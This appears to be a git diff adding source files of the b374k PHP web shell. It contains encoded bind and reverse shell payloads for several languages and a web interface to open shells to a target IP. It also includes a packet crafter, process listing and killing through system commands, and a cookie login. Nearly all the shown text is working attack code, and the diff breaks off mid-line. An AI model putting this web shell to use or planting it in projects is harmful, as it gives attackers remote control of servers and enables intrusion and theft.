"rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc="; +$GLOBALS['resources']['rs_perl'] = "lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ=="; +$GLOBALS['resources']['rs_ruby'] = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs="; +$GLOBALS['resources']['rs_node'] = "nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ="; +$GLOBALS['resources']['rs_gcc'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA=="; +$GLOBALS['resources']['rs_java'] = "lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgWYRgZ7BLW27K40wNcOP1z4rnSLSyR7zaS9GbtuWzz7mhY9A3J3HDTGT+9On11IjlhKm0q7oMh+S8aFi3TqQn2+3YIxcg2juNtGrplpVZx4nhM0h24zyQ8I9yuWswVTsGP++GH2cb666fxSIRPkpDyuzDhPgmNXygpi8WlxlbAQa0Is0p2RCHE+vZqKHurtm6q1ZTyYXox58n/dKjiKMv62F6BRNopBcoSUVFSkBRcPd4YLoHAe7Jau+lBv6Jgvu+ZSxaSfVAUVyk1hOxFcZW4cfO7Oz0S9Jl5RlkuV2TLyLrmJlweLUKcF4E/TaDB4iKPGporXECUpNj+aHZiv3BKhVKo17G83cbSTKkqcPMcQlf6ijm/ItnNWP3DMllBV7JqJRikQCOvfqss+6s/OEfhCZxtkXDbiAZCVoXfdMfiGDhN9V3NagSqwXCxmYQQm/iksaFYRCjCp5sYCHTz6/mrV92QJhuYppLJ9qpExdoF6tONiUy5c1/pmd/2EygL7n8z8tWQ64aQmrHfNVqPEIxGknrIRr9PLUrDHR/Yyn/ErLKQru3Tqj8zDKD95oEUzYMf2AUz+/oX0JhopAe6TQhd/tQplDe562NJEwR5ETMOThG8FqUWTOwsFk876GbWpI9IncOj5GV24r4p+znCAz1J6Psa1T8+H7VlGv7ziddLv9A8="; +$GLOBALS['resources']['rs_executable'] = "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"; + +$GLOBALS['module']['network']['id'] = "network"; +$GLOBALS['module']['network']['title'] = "Network"; +$GLOBALS['module']['network']['js_ontabselected'] = ""; +$GLOBALS['module']['network']['content'] = " + + + + + + + + + + + + + + + +

Bind Shell

Server IP
Port
+ + run
Press ' run ' button and run ' nc server_ip port ' on your computer
+
+ + + + + + + + + + + + + + + +

Reverse Shell

Target IP
Port
+ + run
Run ' nc -l -v -p port ' on your computer and press ' run ' button
+
+ + + + + + + + + + + + + + + + + + + +

Simple Packet Crafter

Host
Start Port
End Port
Connection Timeout
Stream Timeout
+ run + You can also press ctrl+enter to submit
+"; + + +if(isset($p['rsLang']) && isset($p['rsArgs'])){ + $rsLang = $p['rsLang']; + $rsArgs = $p['rsArgs']; + $res = ""; + + if($rsLang=="php"){ + $code = get_resource("rs_".$rsLang); + if($code!==false){ + $code = "\$target = \"".$rsArgs."\"; ?>".$code; + $res = eval_go($rsLang, $code, "", ""); + } + } + else{ + $code = get_resource("rs_".$rsLang); + if($code!==false){ + $res = eval_go($rsLang, $code, "", $rsArgs); + } + } + + if($res===false) $res == "error"; + output(html_safe($res)); +} +elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){ + $packetHost = trim($p['packetHost']); + if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost; + + $packetPort = (int) $p['packetPort']; + + $packetTimeout = (int) $p['packetTimeout']; + $packetSTimeout = (int) $p['packetSTimeout']; + + $packetContent = $p['packetContent']; + if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent); + else{ + $packetContent = str_replace(array("\r","\n"), "", $packetContent); + $packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent); + } + + $res = ""; + + + $sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout); + if(!$sock){ + $res .= "
"; + $res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")
"; + } + else{ + stream_set_timeout($sock, $packetSTimeout); + fwrite($sock, $packetContent."\r\n\r\n\x00"); + $counter = 0; + $maxtry = 1; + $bin = ""; + do{ + $line = fgets($sock, 1024); + if(trim($line)=="") $counter++; + $bin .= $line; + }while($counter<$maxtry); + fclose($sock); + $res .= ""; + $res .= "
"; + } + + output($res); +} + +$GLOBALS['module']['processes']['id'] = "processes"; +$GLOBALS['module']['processes']['title'] = "Processes"; +$GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();"; +$GLOBALS['module']['processes']['content'] = ""; + +if(!function_exists('show_processes')){ + function show_processes(){ + $output = ''; + $wcount = 11; + if(is_win()){ + $cmd = "tasklist /V /FO csv"; + $wexplode = "\",\""; + } + else{ + $cmd = "ps aux"; + $wexplode = " "; + } + + $res = execute($cmd); + if(trim($res)=='') return false; + else{ + $output .= ""; + if(!is_win()) $res = preg_replace('#\ +#',' ',$res); + + $psarr = explode("\n",$res); + $fi = true; + $tblcount = 0; + + $check = explode($wexplode,$psarr[0]); + $wcount = count($check); + + foreach($psarr as $psa){ + if(trim($psa)!=''){ + if($fi){ + $fi = false; + $psln = explode($wexplode, $psa, $wcount); + $output .= ""; + foreach($psln as $p) $output .= ""; + $output .= ""; + } + else{ + $psln = explode($wexplode, $psa, $wcount); + $pid = trim(trim($psln[1]),"\""); + $tblcount = 0; + $output .= ""; + + foreach($psln as $p){ + if(trim($p)=="") $p = " "; + $p = trim(trim($p) ,"\""); + $p = html_safe($p); + if($tblcount == 0){ + $output .= ""; + $tblcount++; + } + else{ + $tblcount++; + if($tblcount == count($psln)) $output .= ""; + else $output .= ""; + } + } + $output .= ""; + } + } + } + $colspan = count($psln)+1; + $colspanAll = $colspan+1; + $output .= "
action".trim(trim(strtolower($p)) ,"\"")."
kill".$p."".$p."".$p."
kill selectedrefresh
"; + } + return $output; + } +} + + +if(isset($p['showProcesses'])){ + $processes = show_processes(); + if($processes!==false) output($processes); + output('error'); +} +elseif(isset($p['allPid'])){ + $allPid = explode(" ", $p['allPid']); + $counter = 0; + foreach($allPid as $pid){ + $pid = trim($pid); + if(!empty($pid)){ + if(function_exists("posix_kill")){ + if(posix_kill($pid,'9')) $counter++; + } + else{ + if(is_win()){ + $cmd = execute("taskkill /F /PID ".$pid); + $cmd = execute("tasklist /FI \"PID eq ".$pid."\""); + if(strpos($cmd,"No tasks are running")!==false) $counter++; + } + else{ + $cmd = execute("kill -9 ".$pid); + if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){ + $cmd = trim(execute("ps -p ".$pid)); + $check = explode("\n", $cmd); + if(count($check)==1) $counter++; + } + } + } + } + } + if($counter>0) output($counter); + else output('error'); +} + +$error = @ob_get_contents(); + $error_html = (!empty($error))?"
".str_replace("\n\n", "\n", html_safe($error))."
":""; + @ob_end_clean(); + error_reporting(0); + @ini_set('display_errors','0'); + + +?> + + +<?php echo $GLOBALS['title']." ".$GLOBALS['ver'];?> + + + +'> + + + + +
+ + + + + +
+ +
+ $v){ + echo "
".$v."
"; + } + ?> +
+ + + ".$content."
"; + } + ?> +
+ + + + + +
+
+ + + + + \ No newline at end of file diff --git a/php/b374k/source/b374k-2.2.php b/php/b374k/source/b374k-2.2.php new file mode 100644 index 0000000..1e334d4 --- /dev/null +++ b/php/b374k/source/b374k-2.2.php @@ -0,0 +1,1627 @@ +0){ + if(isset($_COOKIE['b374k'])){ + if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true; + } + if(isset($_REQUEST['login'])){ + $login = strtolower(trim($_REQUEST['login'])); + if(strtolower(trim($s_pass)) == md5($login)){ + setcookie("b374k",md5($login),time() + $s_login_time); + $m = $_SERVER['PHP_SELF']; + header("Location: ".$m); + die(); + } + else{ + setcookie("b374k",$login,time() - $s_login_time); + $m = $_SERVER['PHP_SELF']; + header("Location: ".$m); + die(); + } + } +} +else $s_auth = true; // $s_pass variable (password) is empty , go ahead, no login page + + +// resources $xback_pl $xbind_pl $xback_c $xbind_c $xmulti_py $wmulti_c... this was used with bind and reverse shell +// use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P +$xback_pl ="dZFfT4MwFMXf+RQVmSvJEuYzqcmCaJZlYwH0xT+EwVUbR0vaLmZx87PblqnEbG/33HPOL7dwfhZspAhWlAUtiLWzkYAyXr2DCh2PS0SQ95zoUW6lgoa4Ninf3NChL9gGvlATfOgl9T/Rb2wQJfNsGUcDFMzccO94Y+JVTa1BqhSvoIg3SW/vHy6f9Kbl4kePjaZlXQtCGaiiVJzhQ8VHux2qKWAXhODikbm+Kduw1BeboaA6bngj1GFOlARXnGimHVZbVjaAh6pqh9qV9vU4S6JZnI/Q8qaYLsxgFkWWp/Fkrum2eZReccag+gN0Jx6N8hYYzvLr6WKE3KuLrtE3krv8hBOn6T+n+/T48AvMIWsuocP3lWb2pQZp+Q0="; +$xbind_pl ="bZFvS8MwEMbf51PcYre1UKjiy1pxdFXHtnY0VRD/lNneNFiT0maozPnZTYpTEd+F537P5e65vZ63bhvvnguvxqYilmwhAOsu8YnFzqPZLKBdsX2kPuEru6t/wLP3okXubGBH9cNkzhZR2AdvSv2tZsE+GaVnl3AEBw5sAF+5sg8cH7bEmk1YFsX5IkmzwDLQ9f6tT9YtApPFEyr9ed1IJQtZBQ+ouvf9m1g+oz1URT10fNJ2oM3cweI0n8RR5g5YEk5zlqXRaO5++x14f4eSo02xaWRzI6gxozJ+WZsGLJnlxqpbsCRPowsWjcbj1NWzEr16qREDL8uyybmwfw/vTmKD5qP4yvn3o4q3CoXucLgrA9VBvjzyCnUYZEOWRYF6jDCJY5c5XcY926p5Gaxk8+QYpHOFSyGkAiNSMOH2SlxxgSUYWBtljQJYNp7ELj0amH70R0wuMpce/1WjNP2l4isWX+f8b5Wikvo+hjUoV7Dvky3ZfgI="; +$xback_c = "XVFNawIxEL0L/odhhZJocF2v2oKIBSmtontrZVmTbDd0TSSJxQ/8702y1loPSWbmvXkzvLSEpNWOcRgay4Tqlk/NRuuvdjCxUfSL2ztAcivciYUMgJAWNrmQyAe5/qQEaJlraLv4+32FTzWlYINmw1i9oxa8bM6YzoQEI6QDWM43SqKE9LCnOWl3siLfiOoAjzB6zqZvk/QG2iptHVBaJQ3KrRIojEtW+FbAD+ma8Diy3zrENbe/8tT1kWv1WyBuwYrLK95JOreVi3rBnFhtDbpsRmA5G79ky3QxGb0SmM7ni1k6y9LxHIPrEAUgRJWUnFpUMALozgloY3hwGxPnx5Gr4h7HGA97+LTlWiuNovB8yAgP+F5Y5Ew7Ow93234QDx5es+Rf1vcZ33NaoSheCxmbMiKRv1D9azh000oZ7hp8fP4B"; +$xbind_c = 